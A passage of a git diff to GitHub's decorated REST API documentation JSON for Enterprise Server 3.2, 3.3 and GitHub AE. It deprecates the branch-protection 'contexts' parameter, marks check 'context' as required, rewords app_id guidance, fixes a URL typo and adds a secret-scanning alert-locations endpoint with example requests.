", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -38336,10 +38361,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38348,11 +38376,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -38369,7 +38397,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38378,11 +38406,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38398,7 +38426,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38407,11 +38435,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38799,6 +38827,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } ] }, @@ -40028,7 +40068,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.2/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.2/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -40048,6 +40088,7 @@ }, "contexts": { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -40095,6 +40136,7 @@ }, { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" diff --git a/lib/rest/static/decorated/ghes-3.3.json b/lib/rest/static/decorated/ghes-3.3.json index 0766964864..8ae87ae930 100644 --- a/lib/rest/static/decorated/ghes-3.3.json +++ b/lib/rest/static/decorated/ghes-3.3.json @@ -37781,14 +37781,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -37796,10 +37797,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37808,11 +37812,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37829,7 +37833,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37838,11 +37842,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37875,14 +37879,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -37890,10 +37895,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37902,11 +37910,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37923,7 +37931,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37932,11 +37940,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37952,7 +37960,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37961,11 +37969,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38353,6 +38361,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + "contexts": { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } }, "required": [ @@ -38455,14 +38475,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -38470,10 +38491,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38482,11 +38506,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -38503,7 +38527,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38512,11 +38536,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38549,14 +38573,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -38564,10 +38589,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38576,11 +38604,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -38597,7 +38625,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38606,11 +38634,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38626,7 +38654,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38635,11 +38663,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -39027,6 +39055,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } ] }, @@ -40216,7 +40256,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -40236,6 +40276,7 @@ }, "contexts": { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -40283,6 +40324,7 @@ }, { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -74531,6 +74573,115 @@ } ] }, + { + "verb": "get", + "requestPath": "/repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations", + "serverUrl": "http(s)://{hostname}/api/v3", + "parameters": [ + { + "name": "owner", + "in": "path", + "required": true, + "schema": { + "type": "string" + }, + "descriptionHTML": "" + }, + { + "name": "repo", + "in": "path", + "required": true, + "schema": { + "type": "string" + }, + "descriptionHTML": "" + }, + { + "name": "alert_number", + "in": "path", + "description": "The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the `number` field in the response from the `GET /repos/{owner}/{repo}/code-scanning/alerts` operation.", + "required": true, + "schema": { + "type": "integer", + "description": "The security alert number.", + "readOnly": true + }, + "descriptionHTML": "

The number that identifies an alert. You can find this at the end of the URL for a code scanning alert within GitHub, and in the number field in the response from the GET /repos/{owner}/{repo}/code-scanning/alerts operation.

" + }, + { + "name": "page", + "description": "Page number of the results to fetch.", + "in": "query", + "schema": { + "type": "integer", + "default": 1 + }, + "descriptionHTML": "

Page number of the results to fetch.

" + }, + { + "name": "per_page", + "description": "Results per page (max 100)", + "in": "query", + "schema": { + "type": "integer", + "default": 30 + }, + "descriptionHTML": "

Results per page (max 100)

" + } + ], + "x-codeSamples": [ + { + "lang": "Shell", + "source": "curl \\\n -H \"Accept: application/vnd.github.v3+json\" \\\n http(s)://{hostname}/api/v3/repos/octocat/hello-world/secret-scanning/alerts/42/locations", + "html": "
curl \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  http(s)://{hostname}/api/v3/repos/octocat/hello-world/secret-scanning/alerts/42/locations
" + }, + { + "lang": "JavaScript", + "source": "await octokit.request('GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations', {\n owner: 'octocat',\n repo: 'hello-world',\n alert_number: 42\n})", + "html": "
await octokit.request('GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations', {\n  owner: 'octocat',\n  repo: 'hello-world',\n  alert_number: 42\n})\n
" + } + ], + "summary": "List locations for a secret scanning alert", + "description": "Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the `repo` scope or `security_events` scope.\n\nGitHub Apps must have the `secret_scanning_alerts` read permission to use this endpoint.", + "tags": [ + "secret-scanning" + ], + "operationId": "secret-scanning/list-locations-for-alert", + "externalDocs": { + "description": "API method documentation", + "url": "https://docs.github.com/enterprise-server@3.3/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert" + }, + "x-github": { + "githubCloudOnly": false, + "enabledForGitHubApps": true, + "category": "secret-scanning", + "subcategory": null + }, + "slug": "list-locations-for-a-secret-scanning-alert", + "category": "secret-scanning", + "categoryLabel": "Secret scanning", + "notes": [], + "bodyParameters": [], + "descriptionHTML": "

Lists all locations for a given secret scanning alert for a private repository. To use this endpoint, you must be an administrator for the repository or organization, and you must use an access token with the repo scope or security_events scope.

\n

GitHub Apps must have the secret_scanning_alerts read permission to use this endpoint.

", + "responses": [ + { + "httpStatusCode": "200", + "httpStatusMessage": "OK", + "description": "Response", + "payload": "
[\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 1,\n      \"end_line\": 1,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"af5626b4a114abcb82d63db7c8082c3c4756e51b\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/af5626b4a114abcb82d63db7c8082c3c4756e51b\",\n      \"commit_sha\": \"f14d7debf9775f957cf4f1e8176da0786431f72b\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/f14d7debf9775f957cf4f1e8176da0786431f72b\"\n    }\n  },\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 5,\n      \"end_line\": 5,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"commit_sha\": \"588483b99a46342501d99e3f10630cfc1219ea32\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/588483b99a46342501d99e3f10630cfc1219ea32\"\n    }\n  },\n  {\n    \"type\": \"commit\",\n    \"details\": {\n      \"path\": \"/example/secrets.txt\",\n      \"start_line\": 12,\n      \"end_line\": 12,\n      \"start_column\": 1,\n      \"end_column\": 64,\n      \"blob_sha\": \"0b33e9c66e19f7fb15137a82ff1c04c10cba6caf\",\n      \"blob_url\": \"https://api.github.com/repos/octocat/hello-world/git/blobs/0b33e9c66e19f7fb15137a82ff1c04c10cba6caf\",\n      \"commit_sha\": \"9def38117ab2d8355b982429aa924e268b4b0065\",\n      \"commit_url\": \"https://api.github.com/repos/octocat/hello-world/git/commits/9def38117ab2d8355b982429aa924e268b4b0065\"\n    }\n  }\n]\n
" + }, + { + "httpStatusCode": "404", + "httpStatusMessage": "Not Found", + "description": "Repository is public, or secret scanning is disabled for the repository, or the resource is not found" + }, + { + "httpStatusCode": "503", + "httpStatusMessage": "Service Unavailable", + "description": "Service unavailable" + } + ] + }, { "verb": "get", "requestPath": "/repos/{owner}/{repo}/stargazers", diff --git a/lib/rest/static/decorated/github.ae.json b/lib/rest/static/decorated/github.ae.json index 69b3b34828..a59ef0bd14 100644 --- a/lib/rest/static/decorated/github.ae.json +++ b/lib/rest/static/decorated/github.ae.json @@ -29886,14 +29886,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -29901,10 +29902,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -29913,11 +29917,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -29934,7 +29938,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -29943,11 +29947,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -29980,14 +29984,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -29995,10 +30000,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30007,11 +30015,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -30028,7 +30036,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30037,11 +30045,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -30057,7 +30065,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30066,11 +30074,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -30458,6 +30466,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + "contexts": { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } }, "required": [ @@ -30560,14 +30580,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -30575,10 +30596,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -30587,11 +30611,11 @@ }, "app_id": { "type": "integer", - "description": "

